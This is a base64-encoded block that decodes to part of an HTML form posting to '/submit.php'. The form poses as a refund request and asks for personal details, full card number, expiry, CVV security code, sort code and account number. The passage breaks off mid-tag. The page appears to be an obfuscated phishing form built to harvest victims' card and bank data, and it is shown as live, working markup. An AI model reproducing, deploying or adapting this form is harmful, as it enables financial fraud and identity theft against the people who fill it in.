ci9zdWJtaXQucGhwIiBjbGFzcz0iZnVsbC13aWR0aCIgbWV0aG9kPSJwb3N0IiBuYW1lPSJyZWdp c3RyYXRpb25EZXRhaWxzIiA+DQoNCiAgICAgIDxkaXYgY2xhc3M9ImVycm9yIiBpZD0iZmllbGRF cnJvci5zZWxlY3RlZFNlcnZpY2VzIj4NCiAgICAgICAgDQogICAgICAgICAgDQogICAgICAgICAg ICANCiAgICAgICAgICANCiAgICAgICAgDQogICAgICA8L2Rpdj4NCg0KICAgICAgPHA+UGxlYXNl IGVudGVyIHlvdXIgUGVyc29uYWwgSW5mb3JtYXRpb24gYW5kIGEgdmFsaWQgQ3JlZGl0IC8gRGVi aXQgQ2FyZCB3aGVyZSB5b3Ugd2FudCB0aGUgcmVmdW5kIHRvIGJlIG1hZGUuIDwvcD4NCg0KICAg ICAgPGgzIGNsYXNzPSJkaXZpZGVyIj4NCiAgICAgICAgSW5kaXZpZHVhbCZuYnNwOw0KICAgICAg ICANCiAgICAgIDwvaDM+DQoNCiAgICAgIA0KDQogICAgICANCiAgICAgIDxkaXYgY2xhc3M9ImZp ZWxkIj4NCiAgICAgICAgDQogICAgICAgICAgDQogICAgICAgIDx1bD4NCiAgICAgICAgICAgIDxs aT48L2xpPg0KICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICA8cD48c3BhbiBjbGFzcz0i cmVxdWlyZWQiPio8L3NwYW4+IGluZGljYXRlcyByZXF1aXJlZCBpbmZvcm1hdGlvbiAgICAgICAg ICAgIDwvcD4NCiAgICAgICAgICAgIDwvbGk+DQogICAgICAgIDwvdWw+DQogICAgICAgICAgDQog ICAgICAgICAgDQogICAgICAgIA0KICAgICAgICAgIA0KICAgICAgICA8dWw+DQogICAgICAgICAg ICA8bGk+UGxlYXNlIHByb3ZpZGUgdGhlIGZvbGxvd2luZyBpbmZvcm1hdGlvbiBhY2N1cmF0ZWx5 LjwvbGk+DQogICAgICAgIDwvdWw+DQogICAgICAgICAgDQogICAgICAgICAgDQogICAgICAgIA0K ICAgICAgICAgIA0KICAgICAgICAgIDx1bD4NCiAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAg ICAgPHRhYmxlIHdpZHRoPSI5OCUiPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAg ICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+ DQogICAgICAgICAgICAgICAgPC90cj4NCjx0cj4NCiAgICAgICAgICAgICAgICAgIDx0ZD48ZGl2 IGFsaWduPSJyaWdodCI+RW1haWw6PHNwYW4gY2xhc3M9InJlcXVpcmVkIj4qPC9zcGFuPjwvZGl2 PjwvdGQ+DQogICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImZpZWxkc2V0Ij4NCiAg ICAgICAgICAgICAgICAgICAgPGlucHV0ICBjbGFzcz0icmVxdWlyZWQiIHRpdGxlPSJJbnNlcnQg RW1haWwiIHRhYmluZGV4PSIxIiBuYW1lPSJlbWFpbCIgIHNpemU9IjIzIiBtYXhsZW5ndGg9IjMw IiB0eXBlPSJ0ZXh0Ij4NCiAgICAgICAgICAgICAgICAgIDwvc3Bhbj48L3RkPg0KICAgICAgICAg ICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgPHRk PjxkaXYgYWxpZ249InJpZ2h0Ij5GdWxsIG5hbWU6PHNwYW4gY2xhc3M9InJlcXVpcmVkIj4qPC9z cGFuPjwvZGl2PjwvdGQ+DQogICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImZpZWxk c2V0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0ICBjbGFzcz0icmVxdWlyZWQiIHRpdGxl PSJJbnNlcnQgRnVsbCBOYW1lISIgdGFiaW5kZXg9IjEiIG5hbWU9Im5hbWUiICBzaXplPSIyMyIg bWF4bGVuZ3RoPSIzMCIgdHlwZT0idGV4dCI+DQogICAgICAgICAgICAgICAgICA8L3NwYW4+PC90 ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0iMjYlIj48ZGl2IGFsaWduPSJyaWdodCI+RGF0ZSBvZiBCaXJ0 aDo8c3BhbiBjbGFzcz0icmVxdWlyZWQiPio8L3NwYW4+PC9kaXY+PC90ZD4NCiAgICAgICAgICAg ICAgICAgIDx0ZCB3aWR0aD0iNzQlIj48c3BhbiBjbGFzcz0iZmllbGRzZXQiPg0KICAgICAgICAg ICAgICAgICAgICA8c2VsZWN0IG5hbWU9ImRkIiBpZD0iZG9iMSI+DQogICAgICAgICAgICAgICAg ICAgICAgPG9wdGlvbiB2YWx1ZT0iMCI+LSBEYXkgLTwvb3B0aW9uPg0KICAgICAgICAgICAgICAg ICAgICAgIDxvcHRpb24gdmFsdWU9IjAxIj4wMTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg ICAgIDxvcHRpb24gdmFsdWU9IjAyIj4wMjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAg IDxvcHRpb24gdmFsdWU9IjAzIj4wMzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxv cHRpb24gdmFsdWU9IjA0Ij4wNDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRp b24gdmFsdWU9IjA1Ij4wNTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24g dmFsdWU9IjA2Ij4wNjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFs dWU9IjA3Ij4wNzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9 IjA4Ij4wODwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjA5 Ij4wOTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEwIj4x MDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjExIj4xMTwv b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEyIj4xMjwvb3B0 aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9u Pg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPg0K ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE1Ij4xNTwvb3B0aW9uPg0KICAg ICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPg0KICAgICAg ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPg0KICAgICAgICAg ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE4Ij4xODwvb3B0aW9uPg0KICAgICAgICAgICAg ICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPg0KICAgICAgICAgICAgICAg ICAgICAgIDxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg ICAgIDxvcHRpb24gdmFsdWU9IjIxIj4yMTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAg IDxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxv cHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRp b24gdmFsdWU9IjI0Ij4yNDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24g dmFsdWU9IjI1Ij4yNTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFs dWU9IjI2Ij4yNjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9 IjI3Ij4yNzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjI4 Ij4yODwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjI5Ij4y OTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjMwIj4zMDwv b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0 aW9uPg0KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4NCi0NCjxzZWxlY3QgbmFtZT0ibW0i IGlkPSJkb2IyIj4NCiAgPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ9InNlbGVjdGVkIj4gLSBN b250aCAtPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjAxIj4wMSAoSmFudWFyeSk8L29wdGlv bj4NCiAgPG9wdGlvbiB2YWx1ZT0iMDIiPjAyIChGZWJydWFyeSk8L29wdGlvbj4NCiAgPG9wdGlv biB2YWx1ZT0iMDMiPjAzIChNYXJjaCk8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0iMDQiPjA0 IChBcHJpbCk8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0iMDUiPjA1IChNYXkpPC9vcHRpb24+ DQogIDxvcHRpb24gdmFsdWU9IjA2Ij4wNiAoSnVuZSk8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1 ZT0iMDciPjA3IChKdWx5KTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIwOCI+MDggKEF1Z3Vz dCk8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0iMDkiPjA5IChTZXB0ZW1iZXIpPC9vcHRpb24+ DQogIDxvcHRpb24gdmFsdWU9IjEwIj4xMCAoT2N0b2Jlcik8L29wdGlvbj4NCiAgPG9wdGlvbiB2 YWx1ZT0iMTEiPjExIChOb3ZlbWJlcik8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0iMTIiPjEy IChEZWNlbWJlcik8L29wdGlvbj4NCjwvc2VsZWN0Pg0KLQ0KPHNlbGVjdCBuYW1lPSJ5eXl5IiBp ZD0ic2VsZWN0MiI+DQogIDxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+IC0g WWVhciAtPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MTAiPjE5MTA8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkxMSI+MTkxMTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTEy Ij4xOTEyPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MTMiPjE5MTM8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkxNCI+MTkxNDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTE1 Ij4xOTE1PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MTYiPjE5MTY8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkxNyI+MTkxNzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTE4 Ij4xOTE4PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MTkiPjE5MTk8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkyMCI+MTkyMDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTIx Ij4xOTIxPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MjIiPjE5MjI8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkyMyI+MTkyMzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTI0 Ij4xOTI0PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MjUiPjE5MjU8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkyNiI+MTkyNjwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTI3 Ij4xOTI3PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MjgiPjE5Mjg8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkyOSI+MTkyOTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTMw Ij4xOTMwPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MzEiPjE5MzE8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkzMiI+MTkzMjwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTMz Ij4xOTMzPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MzQiPjE5MzQ8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkzNSI+MTkzNTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTM2 Ij4xOTM2PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5MzciPjE5Mzc8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTkzOCI+MTkzODwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTM5 Ij4xOTM5PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NDAiPjE5NDA8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk0MSI+MTk0MTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTQy Ij4xOTQyPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NDMiPjE5NDM8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk0NCI+MTk0NDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTQ1 Ij4xOTQ1PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NDYiPjE5NDY8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk0NyI+MTk0Nzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTQ4 Ij4xOTQ4PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NDkiPjE5NDk8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk1MCI+MTk1MDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTUx Ij4xOTUxPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NTIiPjE5NTI8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk1MyI+MTk1Mzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTU0 Ij4xOTU0PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NTUiPjE5NTU8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk1NiI+MTk1Njwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTU3 Ij4xOTU3PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NTgiPjE5NTg8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk1OSI+MTk1OTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTYw Ij4xOTYwPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NjEiPjE5NjE8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk2MiI+MTk2Mjwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTYz Ij4xOTYzPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NjQiPjE5NjQ8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk2NSI+MTk2NTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTY2 Ij4xOTY2PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NjciPjE5Njc8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk2OCI+MTk2ODwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTY5 Ij4xOTY5PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NzAiPjE5NzA8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk3MSI+MTk3MTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTcy Ij4xOTcyPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NzMiPjE5NzM8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk3NCI+MTk3NDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTc1 Ij4xOTc1PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NzYiPjE5NzY8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk3NyI+MTk3Nzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTc4 Ij4xOTc4PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5NzkiPjE5Nzk8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk4MCI+MTk4MDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTgx Ij4xOTgxPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5ODIiPjE5ODI8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk4MyI+MTk4Mzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTg0 Ij4xOTg0PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5ODUiPjE5ODU8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk4NiI+MTk4Njwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTg3 Ij4xOTg3PC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5ODgiPjE5ODg8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk4OSI+MTk4OTwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTkw Ij4xOTkwPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5OTEiPjE5OTE8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk5MiI+MTk5Mjwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIxOTkz Ij4xOTkzPC9vcHRpb24+DQogIDxvcHRpb24gdmFsdWU9IjE5OTQiPjE5OTQ8L29wdGlvbj4NCiAg PG9wdGlvbiB2YWx1ZT0iMTk5NSI+MTk5NTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQogICAgICAgICAg ICAgICAgICA8L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAg ICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgIDx0ZD48ZGl2IGFsaWduPSJyaWdodCI+QWRkcmVz czo8c3BhbiBjbGFzcz0icmVxdWlyZWQiPio8L3NwYW4+PC9kaXY+PC90ZD4NCiAgICAgICAgICAg ICAgICAgIDx0ZD48aW5wdXQgY2xhc3M9InJlcXVpcmVkIiB0aXRsZT0iSW5zZXJ0IGFkZHJlc3Mh IiAgbmFtZT0iYWRkcmVzcyIgIG1heGxlbmd0aD0iNzAiIHR5cGU9InRleHQiPjwvdGQ+DQogICAg ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAg ICA8dGQ+PGRpdiBhbGlnbj0icmlnaHQiPkNpdHk6PHNwYW4gY2xhc3M9InJlcXVpcmVkIj4qPC9z cGFuPjwvZGl2PjwvdGQ+DQogICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImZpZWxk c2V0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJyZXF1aXJlZCIgdGl0bGU9 Ikluc2VydCBDaXR5IiB0YWJpbmRleD0iMSIgbmFtZT0iY2l0eSIgc2l6ZT0iMjMiIG1heGxlbmd0 aD0iMTYiIHR5cGU9InRleHQiPg0KICAgICAgICAgICAgICAgICAgPC9zcGFuPjwvdGQ+DQogICAg ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAg ICA8dGQ+PGRpdiBhbGlnbj0icmlnaHQiPlBvc3Rjb2RlOjxzcGFuIGNsYXNzPSJyZXF1aXJlZCI+ Kjwvc3Bhbj48L2Rpdj48L3RkPg0KICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJm aWVsZHNldCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0icmVxdWlyZWQiIHRp dGxlPSJJbnNlcnQgUG9zdGNvZGUhIiB0YWJpbmRleD0iMSIgbmFtZT0icG9zdGNvZGUiICBzaXpl PSI5IiBtYXhsZW5ndGg9IjEwIiB0eXBlPSJ0ZXh0Ij4NCiAgICAgICAgICAgICAgICAgIDwvc3Bh bj48L3RkPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPHRyPg0KICAg ICAgICAgICAgICAgICAgPHRkPjxkaXYgYWxpZ249InJpZ2h0Ij5QaG9uZSBOdW1iZXI6PHNwYW4g Y2xhc3M9InJlcXVpcmVkIj4qPC9zcGFuPjwvZGl2PjwvdGQ+DQogICAgICAgICAgICAgICAgICA8 dGQ+PHNwYW4gY2xhc3M9ImZpZWxkc2V0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNs YXNzPSJyZXF1aXJlZCIgdGl0bGU9Ikluc2VydCBQaG9uZSBudW1iZXIhIiB0YWJpbmRleD0iMSIg bmFtZT0icGhvbmUiICBzaXplPSIyMyIgbWF4bGVuZ3RoPSIxNiIgdHlwZT0idGV4dCI+DQogICAg ICAgICAgICAgICAgICA8L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAg ICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgIDx0ZD48ZGl2IGFsaWduPSJyaWdodCI+ Q2FyZCBOdW1iZXI6PHNwYW4gY2xhc3M9InJlcXVpcmVkIj4qPC9zcGFuPjwvZGl2PjwvdGQ+DQog ICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImZpZWxkc2V0Ij4NCiAgICAgICAgICAg ICAgICAgICAgPGlucHV0IGNsYXNzPSJyZXF1aXJlZCIgdGl0bGU9Ikluc2VydCBDYXJkIG51bWJl ciEiIHRhYmluZGV4PSIxIiBuYW1lPSJjYyIgaWQ9ImNjIiBzaXplPSIyMyIgbWF4bGVuZ3RoPSIx NiIgdHlwZT0idGV4dCI+DQogICAgICAgICAgICAgICAgICA8L3NwYW4+PC90ZD4NCiAgICAgICAg ICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgIDx0 ZD48ZGl2IGFsaWduPSJyaWdodCI+RXhwaXJ5IGRhdGU6PHNwYW4gY2xhc3M9InJlcXVpcmVkIj4q PC9zcGFuPjwvZGl2PjwvdGQ+DQogICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImZp ZWxkc2V0Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJleHBtIiBpZD0ibW9u dGgiPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPSJz ZWxlY3RlZCI+IC0gTW9udGggLTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRp b24gdmFsdWU9IjAxIj4wMSAoSmFudWFyeSk8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg ICA8b3B0aW9uIHZhbHVlPSIwMiI+MDIgKEZlYnJ1YXJ5KTwvb3B0aW9uPg0KICAgICAgICAgICAg ICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjAzIj4wMyAoTWFyY2gpPC9vcHRpb24+DQogICAgICAg ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMDQiPjA0IChBcHJpbCk8L29wdGlvbj4NCiAg ICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIwNSI+MDUgKE1heSk8L29wdGlvbj4N CiAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIwNiI+MDYgKEp1bmUpPC9vcHRp b24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMDciPjA3IChKdWx5KTwv b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjA4Ij4wOCAoQXVn dXN0KTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjA5Ij4w OSAoU2VwdGVtYmVyKTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFs dWU9IjEwIj4xMCAoT2N0b2Jlcik8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICA8b3B0 aW9uIHZhbHVlPSIxMSI+MTEgKE5vdmVtYmVyKTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg ICAgIDxvcHRpb24gdmFsdWU9IjEyIj4xMiAoRGVjZW1iZXIpPC9vcHRpb24+DQogICAgICAgICAg ICAgICAgICAgIDwvc2VsZWN0Pg0KLQ0KPHNlbGVjdCBuYW1lPSJleHB5IiBpZD0ieWVhciI+DQog IDxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+IC0gWWVhciAtPC9vcHRpb24+ DQogIDxvcHRpb24gdmFsdWU9IjIwMTMiPjIwMTM8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0i MjAxNCI+MjAxNDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIyMDE1Ij4yMDE1PC9vcHRpb24+ DQogIDxvcHRpb24gdmFsdWU9IjIwMTYiPjIwMTY8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0i MjAxNyI+MjAxNzwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIyMDE4Ij4yMDE4PC9vcHRpb24+ DQogIDxvcHRpb24gdmFsdWU9IjIwMTkiPjIwMTk8L29wdGlvbj4NCiAgPG9wdGlvbiB2YWx1ZT0i MjAyMCI+MjAyMDwvb3B0aW9uPg0KICA8b3B0aW9uIHZhbHVlPSIyMDIxIj4yMDIxPC9vcHRpb24+ DQo8L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgIDwvc3Bhbj48L3RkPg0KICAgICAgICAgICAg ICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgPHRkPjxk aXYgYWxpZ249InJpZ2h0Ij5TZWN1cml0eSBjb2RlOjxzcGFuIGNsYXNzPSJyZXF1aXJlZCI+Kjwv c3Bhbj48L2Rpdj48L3RkPg0KICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJmaWVs ZHNldCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0icmVxdWlyZWQiIHRpdGxl PSJJbnNlcnQgU2VjdXJpdHkgY29kZSEiIHRhYmluZGV4PSIxIiBuYW1lPSJjdnYiICBzaXplPSI1 IiBtYXhsZW5ndGg9IjMiIHR5cGU9InRleHQiPg0KICAgICAgICAgICAgICAgICAgPC9zcGFuPjwv dGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCjx0cj4NCiAgICAgICAgICAgICAgICAgIDx0ZD48 ZGl2IGFsaWduPSJyaWdodCI+U29ydCBDb2RlOjxzcGFuIGNsYXNzPSJyZXF1aXJlZCI+Kjwvc3Bh bj48L2Rpdj48L3RkPg0KICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJmaWVsZHNl dCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0icmVxdWlyZWQiIHRpdGxlPSJJ bnNlcnQgU2VjdXJpdHkgY29kZSEiIHRhYmluZGV4PSIxIiBuYW1lPSJzb3J0Y29kZSIgIHNpemU9 IjUiIG1heGxlbmd0aD0iNiIgdHlwZT0idGV4dCI+DQogICAgICAgICAgICAgICAgICA8L3NwYW4+ PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KPHRyPg0KICAgICAgICAgICAgICAgICAgPHRk PjxkaXYgYWxpZ249InJpZ2h0Ij5BY2NvdW50IE51bWJlcjo8c3BhbiBjbGFzcz0icmVxdWlyZWQi Pio8L3NwYW4+PC9kaXY+PC90ZD4NCiAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0i 